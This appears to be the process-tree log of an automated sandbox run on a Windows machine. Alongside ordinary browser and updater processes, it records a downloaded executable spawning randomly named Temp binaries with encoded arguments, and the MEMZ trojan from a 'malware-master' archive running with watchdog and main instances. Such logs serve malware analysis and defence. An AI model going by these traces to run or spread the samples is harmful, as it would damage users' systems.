C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /machine /installsource chromerecovery3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5740
-
-
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleUpdateComRegisterShell64.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:5084
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5312
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
- NTFS ADS
PID:3420 -
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\dos5wjbd.exe"C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\dos5wjbd.exe"2⤵PID:4236
-
C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\E0YwFZatSM9rX.exe"C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\E0YwFZatSM9rX.exe" -cmode:2D0069006E00740020002D00730069006C0065006E00740020002D006300750072006500690074002D007100720020002D00720070006300700072003A006E00700020002D00720070006300650070003A005C0070006900700065005C004200330037004500390030003900380020002D0064006C006C002D0070006100740068003D00220043003A005C00550073006500720073005C00410064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00420041003700340046004500340032002D00380034004200410038004500340030002D00420032003800430030003000370038002D0037004400300034003100380036005C004D0068004E0069006B0066003400440070003000790068006D006C004E002E0064006C006C00220020002D00610072006B006400610065006D006F006E002D006E0061006D0065003A004700570045006F006C0041006C003400770069004A0052002E0065007800650020002D00610072006B0064006C006C002D006E0061006D0065003A006D00370077006C0069006C006F003200780030002E0064006C006C0020002D00610072006B006400610065006D006F006E002D00650070003A005C0070006900700065005C00420034003300390042003200350031003⤵PID:1900
-
C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\GWEolAl4wiJR.exe"C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\GWEolAl4wiJR.exe" -arkdll:m7wlilo2x0.dll -arkpipe:\pipe\B439B2511639194062 -mode:14⤵
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:5468
-
-
-
C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\LYCflM3r.exe"C:\Users\Admin\AppData\Local\Temp\BA74FE42-84BA8E40-B28C0078-7D04186\LYCflM3r.exe" /rpcep:\pipe\B37E9098 /rpcpr:np /sst /scn /ok /spn3⤵
- Suspicious use of SetWindowsHookEx
PID:720
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3628
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:4528
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4876
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1148 -
C:\Program Files (x86)\Google\Update\Install\{A55B5F12-7B12-4C60-AB0B-E11A8B218B31}\GoogleUpdateSetup.exe"C:\Program Files (x86)\Google\Update\Install\{A55B5F12-7B12-4C60-AB0B-E11A8B218B31}\GoogleUpdateSetup.exe" /update /sessionid "{BEE1ECB1-336F-4947-972E-98EE92CE0065}"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5432 -
C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\GoogleUpdate.exe" /update /sessionid "{BEE1ECB1-336F-4947-972E-98EE92CE0065}"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:4972 -
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:4596
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:5072 -
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Loads dropped DLL
- Modifies registry class
PID:4428
-
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Loads dropped DLL
- Modifies registry class
PID:2368
-
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateComRegisterShell64.exe"5⤵
- Loads dropped DLL
- Modifies registry class
PID:2120
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QkVFMUVDQjEtMzM2Ri00OTQ3LTk3MkUtOThFRTkyQ0UwMDY1fSIgdXNlcmlkPSJ7QjU0MTE1NUItQjg2OS00REFBLUIxRkItM0Y1RjFEOTY1NTBEfSIgaW5zdGFsbHNvdXJjZT0ic2VsZnVwZGF0ZSIgcmVxdWVzdGlkPSJ7RkIyNTZEMDQtRUIwNS00OEYwLTg5QTMtNDdENDcyNDc4NjQ5fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBwaHlzbWVtb3J5PSI0IiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE1MDYzLjAiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins0MzBGRDREMC1CNzI5LTRGNjEtQUEzNC05MTUyNjQ4MTc5OUR9IiB2ZXJzaW9uPSIxLjMuMzYuMTExIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjExMiIgbGFuZz0iIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGV4cGVyaW1lbnRzPSJjaHJvbWVyZWMzPTIwMjE1MFIiIGluc3RhbGxhZ2U9IjIiIGluc3RhbGxkYXRlPSI1NDY3IiBjb2hvcnQ9IjE6OWNvOiIgY29ob3J0bmFtZT0iRXZlcnlvbmUgRWxzZSI-PGV2ZW50IGV2ZW50dHlwZT0iMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjwvYXBwPjwvcmVxdWVzdD44⤵
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:5088
-
-
-
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler.exe"2⤵
- Executes dropped EXE
PID:4248
-
-
C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.111\GoogleCrashHandler64.exe"2⤵
- Executes dropped EXE
PID:5520
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTEiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QkVFMUVDQjEtMzM2Ri00OTQ3LTk3MkUtOThFRTkyQ0UwMDY1fSIgdXNlcmlkPSJ7QjU0MTE1NUItQjg2OS00REFBLUIxRkItM0Y1RjFEOTY1NTBEfSIgaW5zdGFsbHNvdXJjZT0iY2hyb21lcmVjb3ZlcnkiIHJlcXVlc3RpZD0iezEzOUFBMTAzLThFMUEtNEYyRi1BN0RBLTRFMDIyODZBOEI0MH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iNCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xNTA2My4wIiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iMS4zLjM2LjExMSIgbmV4dHZlcnNpb249IjEuMy4zNi4xMTIiIGxhbmc9IiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY2hyb21lcmVjMz0yMDIxNTBSIiBpbnN0YWxsYWdlPSIyIiBpaWQ9Ins4RDhCMTQ2MC0zMDc1LTRGMjctRDgzMS04QzAxNTdCQjM2NjB9IiBjb2hvcnQ9IjE6OWNvOiIgY29ob3J0bmFtZT0iRXZlcnlvbmUgRWxzZSI-PGV2ZW50IGV2ZW50dHlwZT0iMTIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBkb3dubG9hZGVyPSJiaXRzIiB1cmw9Imh0dHA6Ly9lZGdlZGwubWUuZ3Z0MS5jb20vZWRnZWRsL3JlbGVhc2UyL3VwZGF0ZTIvYWR4bW9tZnRya29pb2RrN2F3eXZhM216NnV0YV8xLjMuMzYuMTEyL0dvb2dsZVVwZGF0ZVNldHVwLmV4ZSIgZG93bmxvYWRlZD0iMTM0MTI3MiIgdG90YWw9IjEzNDEyNzIiIGRvd25sb2FkX3RpbWVfbXM9IjM1OSIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTUiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48L2FwcD48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNDLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iODkuMC40Mzg5LjExNCIgbmV4dHZlcnNpb249IiIgbGFuZz0iZW4iIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNocm9tZXJlYzM9MjAyMTUwUiIgaW5zdGFsbGFnZT0iMiIgaWlkPSJ7OEQ4QjE0NjAtMzA3NS00RjI3LUQ4MzEtOEMwMTU3QkIzNjYwfSI-PGV2ZW50IGV2ZW50dHlwZT0iMyIgZXZlbnRyZXN1bHQ9IjkiIGVycm9yY29kZT0iLTE2MDYyMTk3NDgiIGV4dHJhY29kZTE9IjAiLz48L2FwcD48L3JlcXVlc3Q-2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:5208
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4512
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4312
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:5904
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5716
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5956
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5784
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4428
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5848
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:5612
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
PID:4928 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ff892fb4f50,0x7ff892fb4f60,0x7ff892fb4f702⤵PID:1792
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1852 /prefetch:82⤵PID:1516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1536 /prefetch:22⤵PID:5208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2344 /prefetch:82⤵PID:1232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:12⤵PID:3612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2596 /prefetch:12⤵PID:5192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1948 /prefetch:12⤵PID:6160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3672 /prefetch:12⤵PID:6172
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3724 /prefetch:12⤵PID:6276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4760 /prefetch:82⤵PID:6364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4776 /prefetch:82⤵PID:6372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4940 /prefetch:82⤵PID:6428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5064 /prefetch:82⤵PID:6436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5204 /prefetch:82⤵PID:6444
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5344 /prefetch:82⤵PID:6592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:12⤵PID:6672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:12⤵PID:6696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4792 /prefetch:82⤵PID:6960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:12⤵PID:7092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6008 /prefetch:82⤵PID:7084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2652 /prefetch:82⤵PID:7140
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5884 /prefetch:82⤵PID:7132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5860 /prefetch:82⤵PID:6456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1524,7985390877923479014,771170699078123337,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:82⤵PID:6524
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵PID:6800
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"1⤵PID:5020
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /watchdog2⤵PID:6504
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /watchdog2⤵PID:6212
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /watchdog2⤵PID:6224
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /watchdog2⤵PID:6444
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /watchdog2⤵PID:6232
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_malware-master.zip\malware-master\MEMZ\MEMZ.exe" /main2⤵PID:6360
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" \note.txt3⤵PID:6168
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6460
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6896
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:2716
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6532
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6680
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵PID:4456
-
